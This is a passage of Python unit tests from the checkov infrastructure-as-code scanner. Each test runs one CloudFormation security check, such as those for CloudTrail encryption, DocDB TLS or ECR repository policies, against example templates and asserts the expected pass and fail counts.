= { "AWS::Logs::LogGroup.Pass", } failing_resources = { "AWS::Logs::LogGroup.Fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudWatchLogGroupRetention.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.CloudWatchLogGroupRetention import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCloudWatchLogGroupRetention(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CloudWatchLogGroupRetention" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::Logs::LogGroup.Pass", } failing_resources = { "AWS::Logs::LogGroup.Fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudfrontDistributionEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.CloudfrontDistributionEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCloudfrontDistributionEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_cloudfrontDistribution" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudfrontDistributionLogging.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.CloudfrontDistributionLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCloudfrontDistributionLogging(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CloudfrontDistributionLogging" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudsplainingIAMCredentialsExposure.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMCredentialsExposure import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCloudsplainingIAMCredentialsExposure(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/Cloudsplaining_IAMCredentialsExposure" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(report.failed_checks[0].check_id, check.id) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertIn('Properties/PolicyDocument/Statement/[0]/Action/[0]/', report.failed_checks[0].check_result.get('evaluated_keys')) self.assertIn('Properties/PolicyDocument/Statement/[0]/Action/[2]/', report.failed_checks[0].check_result.get('evaluated_keys')) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudsplainingIAMGroup.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMPermissionsManagement import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter # This test is the same as for IAMPermissionsManagement but uses IAM Group test data # with multiple Policies to ensure that this resource type is tested but it would be # overkill to use all possible resources for each policy related check class TestCloudsplainingIAMGroup(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/Cloudsplaining_IAMGroup" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(report.failed_checks[0].check_id, check.id) self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action']) self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/']) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudsplainingIAMRole.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMPermissionsManagement import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter # This test is the same as for IAMPermissionsManagement but uses IAM Role test data # with multiple Policies to ensure that this resource type is tested but it would be # overkill to use all possible resources for each policy related check class TestCloudsplainingIAMRole(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/Cloudsplaining_IAMRole" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(report.failed_checks[0].check_id, check.id) self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action']) self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/']) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudsplainingIAMUser.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMPermissionsManagement import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter # This test is the same as for IAMPermissionsManagement but uses IAM User test data # with multiple Policies to ensure that this resource type is tested but it would be # overkill to use all possible resources for each policy related check class TestCloudsplainingIAMUser(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/Cloudsplaining_IAMUser" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(report.failed_checks[0].check_id, check.id) self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action']) self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/']) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudsplainingManagedPolicy.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMPermissionsManagement import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter # This test is the same as for IAMPermissionsManagement but uses 'ManagedPolicy' test data # instead of 'Policy' data. This is to ensure some ManagedPolicy tests are exercised # because it would be overkill to duplicate every test with both. class TestCloudsplainingManagedPolicy(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/Cloudsplaining_ManagedPolicy" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(report.failed_checks[0].check_id, check.id) self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action']) self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/']) self.assertEqual(report.failed_checks[2].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/']) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudtrailEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.CloudtrailEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCloudtrailEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CloudtrailEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudtrailLogValidation.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.CloudtrailLogValidation import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCloudtrailLogValidation(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CloudtrailLogValidation" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudtrailMultiRegion.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.CloudtrailMultiRegion import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCloudtrailMultiRegion(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CloudtrailMultiRegion" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CodeBuildProjectEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.CodeBuildProjectEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCodeBuildProjectEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CodeBuildProjectEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CognitoUnauthenticatedIdentities.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.CognitoUnauthenticatedIdentities import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCognitoUnauthenticatedIdentities(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CognitoUnauthenticatedIdentities" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::Cognito::IdentityPool.Pass", } failing_resources = { "AWS::Cognito::IdentityPool.Fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DAXEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.DAXEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDAXEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DAXEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DMSReplicationInstancePubliclyAccessible.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.DMSReplicationInstancePubliclyAccessible import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDMSReplicationInstancePubliclyAccessible(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DMSReplicationInstancePubliclyAccessible" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DeprecatedLambdaRuntime.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.DeprecatedLambdaRuntime import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDeprecatedLambdaRuntime(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_DeprecatedLambdaRuntime" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "AWS::Lambda::Function.Pass", "AWS::Serverless::Function.Pass2" } failing_resources = { "AWS::Lambda::Function.Fail", "AWS::Serverless::Function.Fail2" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DocDBAuditLogs.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.DocDBAuditLogs import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDocDBAuditLogs(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DocDBAuditLogs" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupEnabled", } failing_resources = { "AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupDefault", "AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupDisabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DocDBBackupRetention.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.DocDBBackupRetention import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDocDBAuditLogs(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DocDBBackupRetention" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::DocDB::DBCluster.DocDBAdequate", } failing_resources = { "AWS::DocDB::DBCluster.DocDBDefault", "AWS::DocDB::DBCluster.DocDBNotAdequate", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DocDBEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.DocDBEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDocDBEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DocDBEncryption" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::DocDB::DBCluster.DocDBEnabled", } failing_resources = { "AWS::DocDB::DBCluster.DocDBDefault", "AWS::DocDB::DBCluster.DocDBDisabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DocDBLogging.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.DocDBLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDocDBLogging(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DocDBLogging" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::DocDB::DBCluster.DocDBEnabled", "AWS::DocDB::DBCluster.DocDBAudit", "AWS::DocDB::DBCluster.DocDBProfiler", } failing_resources = { "AWS::DocDB::DBCluster.DocDBDefault", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DocDBTLS.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.DocDBTLS import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDocDBTLS(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DocDBTLS" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupEnabled", "AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupDefault", } failing_resources = { "AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupDisabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DynamoDBTablesEncrypted.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.DynamoDBTablesEncrypted import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDynamoDBTablesEncrypted(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DynamoDBTablesEncrypted" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::DynamoDB::Table.KMSEncryption" } failing_resources = { "AWS::DynamoDB::Table.DefaultEncryption", "AWS::DynamoDB::Table.EncryptionFalse", "AWS::DynamoDB::Table.NoEncryptionConfig" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DynamodbGlobalTableRecovery.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.DynamodbGlobalTableRecovery import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDynamodbGlobalTableRecovery(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DynamodbGlobalTableRecovery" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::DynamoDB::GlobalTable.MyGlobalTableRecoveryEnabled", } failing_resources = { "AWS::DynamoDB::GlobalTable.MyGlobalTableRecoveryDisabled", "AWS::DynamoDB::GlobalTable.MyGlobalTableRecoveryDefault", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_DynamodbRecovery.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.DynamodbRecovery import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestDynamodbRecovery(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DynamodbRecovery" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_EBSEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.EBSEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestEBSEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_EBSEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_EC2Credentials.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.EC2Credentials import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestEC2Credentials(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_EC2Credentials" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_EC2PublicIP.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.EC2PublicIP import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestEC2PublicIP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_EC2PublicIP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 5) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ECRImageScanning.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ECRImageScanning import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestECRImageScanning(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ECRImageScanning" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::ECR::Repository.ImageScanTrue", "AWS::ECR::Repository.ImageScanTrueString" } failing_resources = { "AWS::ECR::Repository.ImageScanFalse", "AWS::ECR::Repository.ImageScanFalseString", "AWS::ECR::Repository.ImageScanNotSet" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ECRImmutableTags.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ECRImmutableTags import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestECRImmutableTags(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ECRImmutableTags" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ECRPolicy.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.ECRPolicy import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestECRPolicy(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_ECRPolicy" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "AWS::ECR::Repository.Restricted", "AWS::ECR::Repository.vpc16AA8B31E", "AWS::ECR::Repository.CondAllPass", "AWS::ECR::Repository.CondAnyPass", "AWS::ECR::Repository.CondEqualsPass", } failing_resources = { "AWS::ECR::Repository.Public", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/RepositoryPolicyText/Statement/[0]/Principal/AWS/[2]/']) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ECRRepositoryEncrypted.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ECRRepositoryEncrypted import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class 